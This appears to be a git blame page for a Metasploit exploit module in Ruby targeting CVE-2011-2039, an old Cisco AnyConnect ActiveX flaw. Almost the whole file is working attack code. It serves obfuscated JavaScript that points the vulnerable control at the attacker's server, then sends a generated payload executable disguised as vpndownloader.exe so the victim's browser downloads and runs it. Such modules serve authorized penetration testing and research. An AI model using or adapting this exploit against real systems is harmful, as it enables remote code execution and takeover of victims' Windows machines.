Files
metasploit-gs/modules/exploits/windows/browser/cisco_anyconnect_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

85 lines
2.8 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute',
'Description' => %q{
This module exploits a vulnerability in the Cisco AnyConnect VPN client
vpnweb.ocx ActiveX control. This control is typically used to install the
VPN client. An attacker can set the 'url' property which is where the control
tries to locate the files needed to install the client.
The control tries to download two files from the site specified within the
'url' property. One of these files it will be stored in a temporary directory and
executed.
},
'License' => MSF_LICENSE,
'Author' => [ 'bannedit' ],
'References' =>
[
[ 'CVE', '2011-2039' ],
[ 'OSVDB', '72714'],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909' ],
[ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml'],
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic',
{
'Arch' => ARCH_X86
}
],
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2011-06-01',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
])
end
def on_request_uri(cli, request)
if request.uri.match(/vpndownloader\.exe/)
exe = generate_payload_exe({:code => payload.encoded})
print_status("Client requested: #{request.uri}. Sending vpndownloader.exe")
send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })
select(nil, nil, nil, 5) # let the file download
handler(cli)
return
end
if request.uri.match(/updates\.txt/)
print_status("Client requested: #{request.uri}. Sending updates.txt")
updates = rand_text_alpha((rand(500) + 1)) + "\n" + rand_text_alpha((rand(500) + 1))
send_response(cli, updates, { 'Content-Type' => 'text/plain' })
return
end
2011-06-06 20:15:51 +00:00
url = get_uri(cli)
dir = rand_text_alpha((rand(40) + 1))
js = ::Rex::Exploitation::JSObfu.new %Q|
var x = document.createElement("object");
x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");
2011-06-06 20:15:51 +00:00
x.url = "#{url}/#{dir}/";
|
js.obfuscate(memory_sensitive: true)
html = "<html>\n\t<script>#{js}\t</script>\n</html>"
2012-04-20 13:31:42 -06:00
print_status("Sending #{self.name}")
send_response_html(cli, html)
end
end